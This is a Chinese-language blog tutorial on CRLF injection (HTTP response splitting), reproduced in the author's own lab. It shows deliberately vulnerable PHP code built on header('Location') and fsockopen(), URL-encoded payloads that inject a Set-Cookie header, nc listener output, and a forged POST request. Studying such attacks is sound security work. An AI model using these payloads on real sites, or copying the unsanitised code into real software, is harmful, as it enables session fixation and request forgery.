CRLF漏洞入门

参考文章:浅入深出谭谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区 (aliyun.com)

0x00 前言

这段时间有空刷刷BurpSuite的CSRF,有道题需要HTTP头部注入,趁此机会学学。

另外,对漏洞的利用往往不是单独的,而是多个漏洞相互配合。比如本篇的CRLF可以和SSRF、CSRF配合。

0x01 CRLF 与 CRLF Injection

CRLF

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n)。HTTP报文以状态行开始,跟在后面的是HTTP首部(HTTP Header),首部由多个首部字段构成,每行一个首部字段,HTTP首部后是一个空行,然后是报文主体(HTTP Body)。状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。或者理解为首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。

CRLF Injection

HTTP报文的结构以CRLF划分,通过添加CRLF可以制造CRLF Injection,原理如下:

如果Web应用没有对输入做出严格过滤,那么攻击者便可以通过CRLF(%0a%0d)配合特定字符串,恶意地改变HTTP报文的结构,实现添加Cookie甚至注入HTML代码等操作。所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS

以下引用阐述更清晰的原文:

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

更深层地想,这个漏洞其实也是操控数据流入侵控制流。

0x02 CRLF injection应用

Location 字段的 302 跳转

概述

代码如下:

1
2
3
4
5
6
7
<?php
if(isset($_GET["url"])){

header("Location: " . $_GET["url"]);
exit;
}
?>

这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。

思考得更深入一点:正常的url参数值仅仅是纯粹的数据流,不能影响到控制流。但是注入型漏洞往往可以通过自身语法或标准越过这一层限制。

综合上面两段话:url参数会被拼接到响应包的响应头Locaion后面,我们可以通过%0d%0a,使程序判断响应头Location到这里结束,此时后面的payload可以视作下一行的请求头及内容。

正常情况

exp:

1
/?url=https://xxx.top

得到的正常的302跳转包:

1
2
3
4
5
6
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://xxx.top

现在尝试拼接

漏洞利用

payload:

1
/?url=https://xxx.top%0d%0aSet-Cookie: PHPSESSID=whoami

%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行

此时得到的302跳转包:

1
2
3
4
5
6
7
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://xxx.top
Set-Cookie: PHPSESSID=whoami

等跳转后用户就多了个Cookie:PHPSESSID=whoami

总结一下:通过改情况下的CRLF漏洞利用,我们可以给用户添加一个Cookie。但是目前通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了

PHP fsockopen() 函数

概述

fsockopen() 函数:

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

漏洞复现–云服务器

本次在服务器上运行如下服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

url:http://xxx.top:111/index.php

监听的端口:http://xxx.top:112/index.php

payload:

1
http://xxx.top:111/index.php?url=xxx.top:112/index.php%0d%0aSet-Cookie:1=1

响应包如下:

1
2
3
4
GET / HTTP/1.1
Host: xxx.top:111
Set-Cookie: 1=1
Connection: Close

但是,上述只是理论,下面谈谈我遇到的问题:

问题

本次利用一个IP的两个端口,使用Xshell7。

第一个问题:

payload只需要%0d,不需要后面的%0a。

第二个问题:

响应包的Set-Cookie有误,后面回环了,我采用多个+来占用,是否有用我不知道。

1
2
3
4
5
6
root@iZ:~# nc -lvp 112
Listening on 0.0.0.0 111
Connection received on xxx.xxx
GET / HTTP/1.1
Set-Cookie:1=1xxx.xxx
Connection: Close

漏洞复现–Windows本地phpstorm

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host="xxx.top". chr(13) . chr(10). "Set-Cookie:1=1";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

结果:

1
2
3
4
5
6
7
root:~# nc -lvp 520
Listening on 0.0.0.0 520
Connection received on x.x.x.x.broad.fz.fj.dynamic.163data.com.cn 1980
GET / HTTP/1.1
Host: xxx.top
Set-Cookie:1=1
Connection: Close

只有chr(13),存在回环。CRLF完整,结果正常。

感悟

对比云服务器和本机,有以下不同点:

  • payload不同。这其实是输入点不同,一个在url框,另一个在代码处。
  • Set-Cookie:1=1是否规范(回环)。

POST请求

概述:

通过添加两个CRLF,尝试构造POST数据包。

不过仍需要注意一个请求头:Content-Type,需要把其值设置为:application/x-www-form-urlencoded

如果原本存在Content-Type,我们可以尝试把它挤到请求体里(利用对应函数)。其实这里面又涉及到一个思想:

大胆尝试添加,改造,删除数据,而不是仅仅局限于字面意思,只要能达到目的就是好方法。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: xx.xx.xx.xx:1110
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11

data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

下面的Content-Type: text/xml; charset=utf-8就是原本的,被挤下去了。

0x03 结语

还有许多历史漏洞没有复现。